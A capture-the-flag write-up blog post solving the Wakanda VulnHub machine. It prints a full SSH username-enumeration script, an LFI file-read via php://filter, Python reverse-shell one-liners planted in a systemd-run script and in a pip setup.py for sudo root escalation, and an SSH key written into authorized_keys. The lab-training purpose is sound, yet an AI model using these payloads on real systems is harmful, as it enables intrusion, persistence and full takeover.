This page looks best with JavaScript enabled

Wakanda

 ·  🎃 kr0m

Another solved CTF, this time it’s an LFI, a misconfigured systemd service, and sudo configured incorrectly allowing pip execution.

We download the VM from vulnhub or from alfaexploit:
https://www.vulnhub.com/entry/wakanda-1,251/
temple-of-DOOM-v1.ova

We scan the ports with nmap:

NZT48 ☢ /home/kr0m> nmap -sT 192.168.1.2 -p 0-65535

Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-10 16:17 CEST
Nmap scan report for 192.168.1.2
Host is up (0.00021s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
3333/tcp  open  dec-notes
38482/tcp open  unknown
MAC Address: 08:00:27:44:57:EB (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.40 seconds

There is an ssh on port 333:

NZT48 ✺ ~> curl 192.168.1.2:3333

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4
Protocol mismatch.

We check some users taken from the web based on words that appear on it: Made by @mamadou

vi ssh-check-username.py

#!/usr/bin/env python

# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.

import argparse
import logging
import paramiko
import socket
import sys

class InvalidUsername(Exception):
    pass

def add_boolean(*args, **kwargs):
    pass

old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)

def userauth_failure(*args, **kwargs):
    raise InvalidUsername()

paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()

sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
except socket.error:
    print '[-] Failed to connect'
    sys.exit(1)

transport = paramiko.transport.Transport(sock)
try:
    transport.start_client()
except paramiko.ssh_exception.SSHException:
    print '[-] Failed to negotiate SSH transport'
    sys.exit(2)

try:
    transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'
NZT48 ✺ ~> python ssh-check-username.py –port 3333 192.168.1.2 root
[+] Valid username
NZT48 ✺ ~> python ssh-check-username.py –port 3333 192.168.1.2 wakanda
[*] Invalid username
NZT48 ✺ ~> python ssh-check-username.py –port 3333 192.168.1.2 vibranium
[*] Invalid username
NZT48 ✺ ~> python ssh-check-username.py –port 3333 192.168.1.2 mamadou
[+] Valid username

With curl we detect a possible LFI :

NZT48 ✺ ~> curl -v 192.168.1.2:80

< Server: Apache/2.4.10 (Debian)
a class="nav-link active" href="?lang=fr"

Let’s try manually:

NZT48 ✺ ~> curl http://192.168.1.2/?lang=fr

 Prochaine ouverture du plus grand marché du vibranium. Les produits viennent directement du wakanda. Restez à l'écoute! </p>

It must be including the NAME.php, but if I include index, nothing comes out:

NZT48 ✺ ~> curl http://192.168.1.2/?lang=index

However, if I use the php filter trick:

wget "http://192.168.1.2/?lang=php://filter/convert.base64-encode/resource=index" -O index

We can see the source code of the index:

NZT48 ✺ ~> base64 -d index
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it

if (isset($_GETlang))
{
include($_GETlang.".php");
}

?>

Let’s try to use that password with the user mamadou:

NZT48 ✺ ~> ssh mamadou@192.168.1.2 -p3333
Niamey4Ever227!!!

It takes me to a python:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 3 15:53:29 2018 from 192.168.56.1
Python 2.7.9 (default, Jun 29 2016, 13:08:31)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>

We invoke the shell from python:

>>> import pty; pty.spawn("/bin/bash")
mamadou@Wakanda1:~$ id
uid=1000(mamadou) gid=1000(mamadou) groups=1000(mamadou)
mamadou@Wakanda1:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
mamadou:x:1000:1000:Mamadou,,,,Developper:/home/mamadou:/usr/bin/python
devops:x:1001:1002:,,,:/home/devops:/bin/bash

Let’s look for gaps in the system:

This file is writable:

cat /srv/.antivirus.py
open(’/tmp/test’,‘w’).write(’test’)

There is a systemd unit that uses it:

grep -r antivirus /lib/systemd/system/antivirus.service
ExecStart=/usr/bin/env python /srv/.antivirus.py

systemctl list-unit-files

mamadou@Wakanda1:/etc/systemd$ systemctl cat antivirus.service

# /lib/systemd/system/antivirus.service
[Unit]
Description=Antivirus
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=300
User=devops
ExecStart=/usr/bin/env python /srv/.antivirus.py

[Install]
WantedBy=multi-user.target
Modificamos el script para que nos sirva una rshell:
NZT48 ✺ ~> nc -l -p 1234
vi /srv/.antivirus.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

As the unit has restart=always, we just wait 300s(5m):

NZT48 ✺ ~> nc -l -p 1234
/bin/sh: 0: can’t access tty; job control turned off
$ id
uid=1001(devops) gid=1002(developer) groups=1002(developer)

We add our ssh key to access more comfortably:

$ cd /home/devops
mkdir .ssh
echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVQnniSdSbjmAtjMfLpj5hjTRz8Xr/5pn7G43cznRXSQ3zCG6QvEqNEOxVkMfvDx+esIaINrecyD388l9gctqrXb13kE7JxQZnXW6rnJcCG96r006nR1sz7bXrj0OGRBIag53MK4fX1MhkJi6bsV4JiOEBB5bnnDvD1YuuO6zEPIl58w4h21JI7R78Zg9nWwAyNBgJsaCq4kyt1g4GpRtil00V0GERMfyKaS3CcjvSHMQKNR8INzW+BCo8KIZCUXdgl7h4qjo0064/1tCWNo6Yv1gtnjxK3nWo6AaC9Cno58RCb0FuRg+GS5LGQuKRXH8NdTYl4KG4usrtfSbO6pCf juanjo@skynet” > .ssh/authorized_keys

NZT48 ✺ > ssh devops@192.168.1.2 -p3333
devops@Wakanda1:
$

We can probably abuse pip:

devops@Wakanda1:~$ sudo -l

User devops may run the following commands on Wakanda1:
 (ALL) NOPASSWD: /usr/bin/pip

pip has the setuid bit enabled:

 -rwxr-sr-- 1 root developer 281 Feb 27 2015 /usr/bin/pip

If we manage to install a pip package, we will probably get root:
https://python-packaging.readthedocs.io/en/latest/

Let’s generate our package:

mkdir kr0mRS
cd kr0mRS
mkdir kr0mRS
cd kr0mRS

vi init.py
def rs():
 import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
cd ..
vi setup.py
from setuptools import setup

setup(name='kr0mRS',
      version='0.1',
      description='kr0mRS',
      url='http://github.com/kr0m/RS',
      author='kr0m',
      author_email='kr0m@alfaexploit.com',
      license='MIT',
      packages=['kr0mRS'],
      zip_safe=False)

We put a netcat to listen:

NZT48 ✺ ~> nc -l -p 1234

We install our package using pip:

devops@Wakanda1:~/kr0mRS$ sudo pip install .

Unpacking /home/devops/kr0mRS
 Running setup.py (path:/tmp/pip-AIC4WL-build/setup.py) egg_info for package from file:///home/devops/kr0mRS
 
Installing collected packages: kr0mRS
 Running setup.py install for kr0mRS
 
Successfully installed kr0mRS
Cleaning up...

We import the library and execute the rs function:

devops@Wakanda1:~/kr0mRS$ python
>>> import kr0mRS
>>> kr0mRS.rs()

And we get our shell but with the devops user:

NZT48 ✺ ~> nc -l -p 1234
id

/bin/sh: 0: can't access tty; job control turned off
$ uid=1001(devops) gid=1002(developer) groups=1002(developer)

This is because only the setup part of the package is executed as root, so we must put the RS code in the setup:

vi setup.py

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

from setuptools import setup

setup(name='kr0mRS',
      version='0.1',
      description='kr0mRS',
      url='http://github.com/kr0m/RS',
      author='kr0m',
      author_email='kr0m@alfaexploit.com',
      license='MIT',
      packages=['kr0mRS'],
      zip_safe=False)

We listen again with our netcat:

NZT48 ✺ ~> nc -l -p 1234

Now we don’t need to import the library or execute the function since the setup is automatically executed when the pip package is installed:

devops@Wakanda1:~/kr0mRS$ sudo pip install .

Unpacking /home/devops/kr0mRS
 Running setup.py (path:/tmp/pip-7PvLGw-build/setup.py) egg_info for package from file:///home/devops/kr0mRS

And we receive the root shell:

NZT48 ✺ ~> nc -l -p 1234
# id

uid=0(root) gid=0(root) groups=0(root)
If you liked the article, you can treat me to a RedBull here